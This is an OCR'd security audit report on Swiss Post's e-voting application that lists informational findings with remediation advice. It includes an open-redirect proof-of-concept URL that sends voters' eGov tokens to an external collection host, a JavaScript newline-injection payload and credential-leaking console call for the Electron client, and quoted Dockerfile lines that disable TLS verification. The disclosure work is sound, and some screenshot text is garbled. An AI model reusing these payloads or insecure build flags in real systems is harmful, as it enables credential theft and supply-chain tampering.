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Results summary

Orange Cyberdefense Switzerland SA was contracted by the Swiss Federal Chancellery to
assess the security of the E-voting web application developed by Swiss Post. To this end,
engineers acted like real attackers and searched for vulnerabilities and weaknesses within the
application to determine the risk for the voters and the secrecy and integrity of their votes,
but also the robustness of the system during a voting event. Full access to the application
source code, documentation and two test environments were provided for this assessment.

No relevant risks were discovered during this audit. However, an issue was identified in the
test environment configured with a new extended authentication factor. This feature is
available to cantons who decide to integrate the e-voting service into their eGovernment
portal. The deployed mock server configuration allows attackers to craft malicious links to
potentially recover submitted authentication information and redirect voters to a website
under their control after a successful authentication. In more advanced social engineering
scenarios, attackers can also leverage this weakness as a phishing opportunity to collect
other necessary authentication information. The issue affects a system out of scope of the e-
voting project and is thus reported here as informational.

The engineers also deployed the backend architecture to run a voting event locally. While
doing so, they noticed that the authenticity of downloaded content to set up the event is not
fully verified, potentially allowing untrusted or malicious software to be introduced into a
developer’s environment. This does not cause any direct risks regarding a voting event, so it
was classified as informational only.

The end-to-end architecture was also challenged in different ways, but all attempts to
compromise the voting process’ integrity or confidentiality from a single backend component
were unsuccessful.

No significant security issues were identified during automated and manual source code
reviews.

In conclusion, the overall risk level of the e-voting solution is considered as low.
High level impressions

HTTP content secured with eGovernment server configuration
cryptographic operations
Multi-step authentication
End-to-end encryption
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Security dashboard

White-box Schedule 2026-07-13 - 2026-07-17

Global risk level

Attacker profiles Risk level

Without a voting card

With a voting card

Secure Data Manager context

Status by attacker profile

Objectives Without a With a voting Secure Data

voting card card Manager
context

Gain access to the internal network
Execute arbitrary commands on a server
Authentication bypass

Vote integrity

Vote secrecy

Voters’ eGov token
NOT COMPROMISED PARTIALLY COMPROMISED @ COMPROMISED
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Scope

This audit covers version 1.5.4.2 of the e-voting application (release 1.5.4.2).

As the audited project is open source, its source code, development environment, and
documentation are available on GitLab:

The application was also built and tested locally, using the following component versions:

E-voting: 1.5.4.2
Verifier: 1.6.3.1
Data Integration Service: 2.9.4.1

Additionally, a voter web portal (using a mocked version of the eGov authentication factor)
was also deployed at:

Another voting portal, configured with the traditional extended authentication factor (date of
birth), was also available at the following URL:

All required information to authenticate and submit votes on these voting events was also
provided to the auditors.

Restrictions

No social engineering or denial of service attacks were performed during this audit.

Results

Backend Infrastructure

Orange engineers started by setting up a local environment of the backend architecture, built
with the public Gitlab repositories and documentation.

During this process, the engineers noticed that a specific e2e-dev build file was found to
disable TLS certificate validation during dependency resolution and package installation. This
practice undermines build chain trust guarantees and exposes the platform and developer
laptops to Man-in-the-Middle attacks and potential injection of backdoored dependencies.

Once the local environment was built, Orange engineers performed a static analysis of the
different SDM components. The Electron-based desktop SDM client used by the cantons was
evaluated for potential client-side security issues and misconfigurations. The review showed
that the configuration was missing some hardening features (more about this in the

chapter). However, none of them could be exploited, as they must be combined with a client-
side code injection vulnerability, which was not identified within the time allotted for this audit.
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After that, the engineers ran a local voting event and attempted to manipulate exported . sdm
files, transmitted between the different backend machines, by modifying their contents before
importing them into the SDM. The objective was to determine whether the import process
could be abused to inject malicious data, alter the expected behavior of the SDM, or bypass
existing integrity controls. No relevant vulnerabilities were discovered in the allotted time.

The end-to-end encryption mechanism was also assessed. Specifically, the engineers tested
a scenario in which the Tally machine was assumed to be fully compromised and tried to
bypass the Electoral Board members' password submission step to decrypt the votes by
altering local files, but all attempts were unsuccessful.

Finally, static application security testing and automated configuration auditing were run
across the codebase to identify common vulnerability patterns and misconfigurations.
Findings were then correlated with manual testing to distinguish theoretical risks from
exploitable conditions. No exploitable issues were discovered during this phase.

Voting Portal

To assess the voting portal under realistic conditions, two different testing voting events were
deployed by the Swiss Post. All information required to access and test both environments
was provided to the auditors. The assessment primarily focused on the environment
configured with the new authentication mechanism.

With this configuration, instead of entering their date of birth, voters are redirected to an
eGovernment server managed by the cantons, where they must submit their eGov token.
Upon successful authentication, the eGovernment server sends users back to the e-voting
portal, according to a return URL supplied as a request parameter.

The engineers identified that the deployed eGovernment mock server does not properly
validate the return URL, resulting in an open redirect vulnerability. Given that the submitted
token is appended to this return URL, attackers could leverage this weakness to capture valid
eGovernment tokens and, furthermore, attempt to phish other required authentication
information by redirecting users to a website under their control.

The engineers also assessed scenarios in which a voter's browser was assumed to be
compromised. Within the platform's threat model, an attacker capable of reading the voter's
cast vote from a compromised browser is an accepted and acknowledged risk. The tests
therefore focused on determining whether such an attacker could go beyond disclosure and
manipulate the vote, but without success.
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Informational findings

P023254-01 Unvalidated redirects and forwards
P023254-02 Missing SSL/TLS certificate validation

Additional remarks

Minor Electron hardening weaknesses were observed in the Secure Data Managers,
specifically regarding the exposed settingsApi. Although no XSS vector was identified, a
successful XSS attack would enable an attacker to leverage the renderer API to directly leak
stored credentials and inject arbitrary properties into the backend JVM.

The following files are affected:

Insecure Context Bridge Exposes Credentials via getSettingsList ()

console.log(window.SettingsApi.getSettingsList ()) can be abused to return
all election settings in clear text from the renderer context. The Electron application exposes
getSettingsList () without sufficient filtering, allowing an attacker with an XSS vector to
leak stored credentials (exportPwd, verifierDatasetPwd), keystore paths, the election
seed, and workspace folder paths.

i [0 Elements Console Sources Network Performance Memory  Application  Security Lighthouse  Recorder

D@ tpvy @ Y Filter
> console.log(window.SettingsApi.getSettingsList());
v I[{-}] 1
ve:

choiceCodeGenerationChunkSize: "20"
directTrustLocation: "C:/Users/Seb/Desktop/evoting-1542/build/computers/PC-SETUP/direct-trust-setup/local_direct_trust_keystore_sdm_config.p12"
directTrustPwdLocation: "C:/U k t build/com e
electionEventDescription: "U
electionEventId: 22(
electionEventSe
exportPwd: "LongPa
externalConfigurat
id: o
mode: "SETUP"
outputFolder: "( Jsers/Seb/Desktop/evoting-1542/build/computers/DC-STICKS/_EE_NE_20231124_TT05/SDM-Output”
printFolder: "C sers/Seb/Desktop/evoting-1542/build/computers/DC-STICKS/_EE_NE_20231124_TTO5/PRINT-Output"
proxyConfig:
tallyFolder: ""
twolWaySSLLocation:
twolWaySSLPwdLocation:
verifierDatasetPwd:

verifierFolder: "C:

voterPortalConfigurationFolder:

voterPortalHost:

votingServerHost:

workspaceFolder: "C:/Users/Seb/Desktop/evoting-1542/build/computers/PC-SETUP/_EE_NE_20231124_TT@5/SDM-Workspace"
C : Object

getSettingsList() exposure

Arbitrary Property Injection via Unescaped Newlines in saveSettings ()

preparePropertyLine escapes backslashes but not newlines. When saveSettings is
called with startSDM: true, the backend JVM reloads application-
profile O.properties containing attacker-controlled data. As a result, an attacker can
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persist unauthorized configuration changes that are applied by the application, compromising
the integrity of its runtime configuration.

// Prepare a property line. If the value is a string, escape backslashes.
function preparePropertyLine(key, value) {
if (typeof value === 'string') {

value = value.replace(/\\/g, "\\\\');
}

return key + '=' + value + "\n';

The following payload can be used to exploit the lack of filtering.

const s = SettingsApi.getSettingsList()[0];
s.exportPwd =
"evil\njavax.script.ScriptEngineManager=org.openjdk.nashorn.api.scripting.NashornScriptEngineFactor

y\nscript=test";
SettingsApi.saveSettings(s, true); // restarts backend JVM

Then, on the file system, the application-profile 0.properties contains the injected
lines:

sdm.path.export=C:/Users/Seb/Desktop/evoting-1542/build/computers/DC-
STICKS/_EE_NE_20231124 TT05/SDM-Output
sdm.process.data-exchange.zip-password=evil

javax.script.ScriptEngineManager=org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory

script=test
sdm.process.collect-data-verifier.zip-password=LongPassword_Encryptionl
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Informational findings

m P023254-01 Unvalidated redirects and forwards

PREREQUISITES COMPROMISED ASSETS

Social Engineering (SE) eGov token
Authentication information

Vulnerable components

https://egov-mock.evoting-
dev.ch/vote/?eeld=3ABD38255CD5052C70885893EB675BF4&requestld=1DdaGShI90VHf
$%252B6arHzoynK4tvqevQ9JxhY Opafdx|%253D&returnUrl=https://[attacker_server]/?tok
en=

Description

An open redirect vulnerability occurs when an application redirects users to a destination URL
that is derived from untrusted, user-controlled input without proper validation. This allows an
attacker to craft a malicious URL that appears to originate from a trusted domain but redirects
the victim to an attacker-controlled website.

Because the redirection is initiated by a legitimate application, users are more likely to trust
the link and follow it. This behaviour can be exploited in phishing campaigns for example, or
to facilitate further attacks by directing users to malicious content.

The vulnerability typically arises from insufficient validation or sanitisation of parameters used
to determine the redirect target. When these parameters are not restricted to a set of trusted
destinations, attackers can manipulate them to perform arbitrary external redirects.

Exploitation

If the authentication method egovtoken is configured for a voting event, voters are
redirected to an eGovernment server that handles the extended authentication factor (instead
of using the voter's year of birth, or date of birth). The URL is constructed with the following
pattern:

returnUrl

It contains a returnUrl parameter used to redirect voters back to the e-voting portal once
this authentication step is successfully completed by providing a valid Egov token, but its
value is not validated by the eGovernment server.

Moreover, when a valid token is submited, it is appended to the provided redirectUrl.
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Attackers can therefore craft malicious links and share them with legimitate voters, to
potentially redirect them to an arbitrary website and collect their tokens.

As a proof of concept, the auditors crafted a URL pointing to a server under their control.

https://egov-mock.evoting-
dev.ch/vote/?eeld=3ABD38255CD5052C70885893EB675BF4&requestld=1DdaGShI90VHfs
%252B6arHzoynK4tvg6vQ9JxhYOpafdxl%253D&returnUrl=https://zmp2smuub3yofdpz4xq
mmOaa016sujt7i.oastify.com/?token=

If this link is accessed by voters, they will be forwarded to the legitimate eGovernment
authentication panel, as expected.

S

EGov Factor Authentication

Enter your 32-character eGov token to proceed with the voting

process.

EGOV TOKEN

12321321321321321321321321321321

Victims that submit their authentication token will be redirected to the attacker's website.

When a valid token is entered (any token is accepted here by the mock server), they are
redirected to the auditor's server, where the token is leaked in plain text.
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mp2smuub3yofdpzdegmmbaal GsujtTi 6216712243
= 3 J T2

Raw

1| GET /[?toker
Host: zmp2s
SeC-Ln-w
Sec-Ch-Ua-Mobil
Sec-Ch-Ua-Platfor

ows NT 18.8; Hinsd
ht ml+<ml,application

Priority: u=8,

The victim is redirected to the attacker's website and the egov token is leaked.

Even if this token is insufficient to impersonate voters, attackers can create advanced
phishing scenarios by redirecting them to a website similar to the e-voting platform and trick
them to give out other necessary authentication information (Start Voting Key and
Ballot Casting Key).

This vulnerability is reported as informational, because it is not part of the e-voting project
itself.

Tools used
Burp Suite (https://portswigger.net/burp)

Possible solutions
Avoid incorporating user-controllable data into redirection targets

As far as possible, it is recommended to avoid incorporating user-controllable data into
redirection targets.

Remove the redirect feature and replace dynamic redirects with static links.

Maintain a server-side allowlist of permitted redirection targets and reference them
using an index or identifier, rather than passing the full URL as a parameter (e.g.:
https://app.example.com/?redir=123 rather than
https://app.example.com/?redir=/home).

Control the user-supplied values

If the above solutions cannot be applied, it is recommended to implement the following
measures to minimise the risk of redirection attacks.

Ensure that supplied URLs are relative (e.g.: ?redir=/home/).

Use root-relative URLs and prepend them with the application's URL (e.g.
'https://app.example.com' || '/home/').

Use absolute URLs for redirections and ensure they start with the application's URL
(e.9.: https://app.example.comn).
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P023254-02 Missing SSL/TLS certificate validation
PREREQUISITES COMPROMISED ASSETS

Adjacent network access Network traffic hijacking
Build tempering

Vulnerable components

https://gitlab.com/swisspost-evoting/e-voting/evoting-e2e-dev/-/blob/master/build-
image/evoting-build.Dockerfile

Description

Proper SSL/TLS certificate validation is essential to secure communications: each server
certificate must be issued by a trusted Certificate Authority, cryptographically valid, and not
revoked.

This verification is natively enforced by operating systems and client libraries, ensuring
transport security. Disabling it removes these safeguards, leaving connections vulnerable to
man-in-the-middle interception. An attacker positioned on the network could decrypt traffic,
tamper with data, or inject malicious payloads, potentially compromising downstream
dependencies, build artifacts, and sensitive credentials.

Exploitation

The vulnerability was identified via a static analysis by detecting some explicit TLS verification
bypasses in wget, curl, and apt-get configuration within the Dockerfile :

# Install wine

dpkg --add-architecture i386

mkdir -pm755 /etc/apt/keyrings

wget -0 /etc/apt/keyrings/winehq-archive.key https://dl.winehq.org/wine-builds/winehq.key --no-
check-certificate

wget -NP /etc/apt/sources.list.d/ https://dl.winehq.org/wine-builds/ubuntu/dists/jammy/winehq-
jammy.sources --no-check-certificate

apt-get -o "Acquire::https::Verify-Peer=false" -qq update

install -o "Acquire::https::Verify-Peer=false" winehqg-stable

# Install maven

mkdir -p /opt/customtools/maven

curl -ksSL -o maven.tar.gz https://archive.apache.org/dist/maven/maven-
.9.11/binaries/apache-maven-3.9.11-bin.tar.gz

tar xvzf maven.tar.gz -C /opt/customtools/maven

rm maven.tar.gz

An attacker performing a man-in-the-middle (MITM) attack on the build network could
intercept and inspect TLS traffic. By presenting a self-signed or forged certificate, they can
decrypt data exchanges, modify downloaded dependencies with malicious payloads, and
silently inject backdoors. Since certificate verification is explicitly disabled, such activity
proceeds undetected by the build pipeline, allowing compromised artifacts to propagate
silently to downstream environments.
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Tools used
Burp Suite (https://portswigger.net/burp)

Possible solutions
Validate SSL/TLS certificates

Remove all --no-check-certificate flags from wget and -k from curl. Ensure
the base image contains up-to-date CA certificates (ca-certificates).

Remove the Acquire: :https::Verify-Peer=false option from apt-get and
use official repositories with proper GPG public key verification.

Validate the checksums or signatures of downloaded artifacts (Maven, Node) against
official public hashes before installation.

| E-voting 1.5.4.2
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Legend

Orange Cyberdefense Switzerland Score

For each vulnerability discovered and detailed in this report, Orange Cyberdefense
Switzerland provides a threat assessment based on two indicators, an Impact and a
Probability of exploitation.

Impact of the vulnerability in case of successful exploitation

IMPACT ("How bad?")
[ ] | | J ] |  J J ] |
N/A Weak Medium High Critical
PROBABILITY Probability that the vulnerability will be discovered and exploited
by an attacker?
| ] | ] J |  J J ] |
N/A Low Medium High Very high

However, it is important to keep in mind that this assessment is solely based on the
information available to the engineers at the time of the audit. The engineers are not
necessarily aware of all the details regarding the vulnerable applications or systems.
Consequently, these ratings should always be reconsidered based on the context of the
information system as a whole.

CVSS Score

In addition to its own scoring system, Orange Cyberdefense Switzerland also provides an
evaluation based on the Common Vulnerability Scoring System (CVSS), for each vulnerability.

As a reminder, CVSS is a vulnerability scoring system designed to provide an open and
standardised method for rating IT vulnerabilities. CVSS helps organisations prioritise and
coordinate a joint response to security vulnerabilities by communicating the base, temporal
and environmental properties of a vulnerability. More information about the CVSS scoring
system can be found here:
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Risk calculation

Each risk presented in this report is calculated as the product of an impact and a probability
of exploitation, as defined in the matrix below.

Overall Risk Severity

CRITICAL | | Critical Critical
5 HIGH Moderate Moderate Critical
8 MODERATE Low Moderate Moderate
£ LOW Low Low Moderate
LOW MODERATE HIGH ‘ CRITICAL ‘

Probability

Orange Cyberdefense Switzerland provides an estimation of the effort required to fix each
vulnerability and thus mitigate their associated risk. It should be noted that this assessment
is based on Orange Cyberdefense Switzerland's experience, and as such might not fully
reflect the context of the company or organisation.

Context

The context of each vulnerability is defined by its prerequisites and a list of compromised
assets. The prerequisites represent the conditions that are required for the exploitation of a
given vulnerability (e.g.: social engineering). Compromised assets represent the theoretical or
tangible result of its exploitation (e.g.: a user account).
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